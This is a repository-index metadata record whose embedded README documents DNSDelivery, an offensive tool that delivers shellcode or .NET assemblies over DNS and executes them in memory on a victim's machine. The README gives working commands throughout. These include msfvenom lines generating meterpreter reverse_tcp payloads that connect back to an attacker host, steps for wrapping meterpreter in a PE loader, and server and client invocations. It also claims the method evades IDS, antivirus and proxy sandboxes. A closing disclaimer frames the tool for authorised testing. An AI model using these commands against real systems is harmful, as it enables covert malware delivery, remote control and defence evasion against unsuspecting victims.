{"id":13776058,"url":"https://github.com/arno0x/dnsdelivery","last_synced_at":"2026-01-19T03:35:55.965Z","repository":{"id":90346192,"uuid":"81458974","full_name":"Arno0x/DNSDelivery","owner":"Arno0x","description":"DNSDelivery provides delivery and in memory execution of shellcode or .Net assembly using DNS requests delivery channel.","archived":false,"fork":false,"pushed_at":"2019-10-06T22:24:19.000Z","size":19,"stargazers_count":148,"open_issues_count":1,"forks_count":48,"subscribers_count":10,"default_branch":"master","last_synced_at":"2024-08-03T17:12:28.260Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Arno0x.png","metadata":{"files":{"readme":"readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-02-09T14:33:25.000Z","updated_at":"2023-09-28T10:39:08.000Z","dependencies_parsed_at":"2023-03-16T16:15:43.401Z","dependency_job_id":null,"html_url":"https://github.com/Arno0x/DNSDelivery","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Arno0x%2FDNSDelivery","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Arno0x%2FDNSDelivery/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Arno0x%2FDNSDelivery/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Arno0x%2FDNSDelivery/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Arno0x","download_url":"https://codeload.github.com/Arno0x/DNSDelivery/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225031491,"owners_count":17410084,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:58.990Z","updated_at":"2026-01-19T03:35:55.916Z","avatar_url":"https://github.com/Arno0x.png","language":"PowerShell","funding_links":[],"categories":["\u003ca id=\"01e6651181d405ecdcd92a452989e7e0\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"ea4dfcd8f33ec1852180c6283b2c8516\"\u003e\u003c/a\u003e未分类"],"readme":"DNS Delivery\r\n============\r\n\r\nAuthor: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x)\r\n\r\nDNSDelivery provides delivery and in memory execution of shellcode or .Net assembly using DNS requests delivery channel.\r\n\r\nDNSDelivery has to sides:\r\n  1. The server side, coming as a single python script (`dnsdelivery.py`), which acts as a custom DNS server, serving the payload data\r\n  2. The client side (*victim's side*), which comes in two flavors:\r\n    - `dnsdelivery.cs`: a C# script that can be compiled with `csc.exe` to provide a Windows managed executable\r\n    - `Invoke-DNSDelivery.ps1`: a PowerShell script providing the exact same functionnalities\r\n\r\nIn order for the whole thing to work **you need to own your domain name** and set the DNS record for that domain to point to the server that will run the `dnsdelivery.py` server side.\r\nFor local testing purposes though, you can configure the client side scripts to point to any DNS server.\r\n\r\nDependencies\r\n----------------------\r\n\r\nThe only dependency is on the server side, as the `dnsdelivery.py` script relies on the external **dnslib** library. You can installing it using pip:\r\n```\r\npip install dnslib\r\n```\r\n\r\nConfiguration\r\n----------------------\r\n\r\nThe only mandatory configurable parameter on the client side is the DNS domain name you want to use (*the one you're running the DNS server side on*).\r\nAn optionnal configurable parameter is the DNS server you want to use. By default, it will use the system's default DNS server.\r\n\r\n  - For the C# script, you need to edit the script and set the parameters in the PARAM class, comments and variable names are pretty self-explanatory. Then compile it using the built-in C# compiler csc.exe: `C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /unsafe /out:dnsdelivery.exe *.cs`\r\n\r\n  - For the PowerShell script, you can simply pass the parameters as arguments. Once the module is loaded into powershell simply check the syntax with `Get-Help Invoke-DNSDelivery`\r\n\r\n\r\nUsage\r\n----------------------\r\n\r\n***SERVER SIDE***\r\n\r\nCall the `dnsdelivery.py script with the appropriate parameters:\r\n  - The `type` of content being delivered: can be either `shellcode` or `assembly`\r\n  - The `filename` which is the name (*or path*) of the file being delivered\r\n\r\nIf a `shellcode` type is to be delivered, it **must** be a **raw** type shellcode obtained, for instance, from metasploit:\r\n\r\n```\r\nroot@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f raw \u003e myShellcodeFile.raw\r\n```\r\n\r\nExample of delivering a shellcode:\r\n```\r\nroot@kali:~# ./dnsdelivery.py shellcode myShellcodeFile.raw\r\n[*] File [myShellcodeFile.raw] successfully loaded\r\n[*] Data split into [5] chunks of 250 bytes\r\n[*] DNS server listening on port 53\r\n[*] Serving [myShellcodeFile.raw] advertised as a [shellcode] data type\r\n```\r\n\r\nExample of delivering a .Net assembly:\r\n```\r\nroot@kali:~# ./dnsdelivery.py assembly peloader.exe\r\n[*] File [peloader.exe] successfully loaded\r\n[*] Data split into [1058] chunks of 250 bytes\r\n[*] DNS server listening on port 53\r\n[*] Serving [peloader.exe] advertised as a [assembly] data type\r\n```\r\n\r\n***CLIENT SIDE***\r\n\r\nIf using the C# compiled Windows executable: simply execute it, the parameters are hardcoded within the script.\r\n\r\nIf using the PowerShell script, well, call it in any of your prefered way (*you probably know tons of ways of invoking a powershell script*) along with the script parameters. Most basic example:\r\n```\r\nc:\\DNSDelivery\u003e powershell\r\nPS c:\\DNSDelivery\u003e Import-Module .\\Invoke-DNSDelivery.ps1\r\nPS c:\\DNSDelivery\u003e Invoke-DNSDelivery -DomainName mydomain.example.com -Verbose\r\n[...]\r\n```\r\n\r\nSample use cases\r\n----------------------\r\n\r\nI found this delivery method very useful and handy for delivering:\r\n\r\n- any meterpreter shellcode\r\n- full-fledged meterpreter executable (*standalone meterpreter executable, not staged*)\r\n- any .Net assembly you can think of\r\n\r\nwhile completely **bypassing perimeter security** (IDS, content analysis like AV and sandboxes on proxies, etc.).\r\n\r\nExample of delivering a full-fledged meterpreter executable:\r\n\r\nFirst create a non-staged meterpreter executable:\r\n```\r\nroot@kali:~# msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f exe-only \u003e meterpreter.exe\r\n```\r\nSecond, encode this executable to a base64 string:\r\n```\r\nroot@kali:~# cat meterpreter.exe | base64 -w 0 \u003e meterpreter.b64\r\n```\r\n\r\nThird paste the base64 string (*yes, it can be huge, around 3MB*) into the `peLoader.cs` (thx @SubTee) available here [peloader.cs](https://github.com/Arno0x/CSharpScripts/blob/master/peloader.cs) and compile this into a Windows executable (*which by the way IS a .Net assembly*).\r\n\r\nEventually, serve it with DNSDelivery:\r\n```\r\nroot@kali:~# ./dnsdelivery.py assembly meterpreter_peloader.exe\r\n```\r\nIt can be long because the data is delivered over DNS, chunk by chunk (*250 bytes per chunk*), but who cares if it takes 10 minutes and you eventually get you full-fledged meterpreter executable loaded into memory and executed on the victim's machine :-)\r\n\r\nDISCLAIMER\r\n----------------\r\nThis tool is intended to be used in a legal and legitimate way only:\r\n  - either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms\r\n  - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits)\r\n\r\nQuoting Empire's authors:\r\n*There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.*","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farno0x%2Fdnsdelivery","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Farno0x%2Fdnsdelivery","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Farno0x%2Fdnsdelivery/lists"}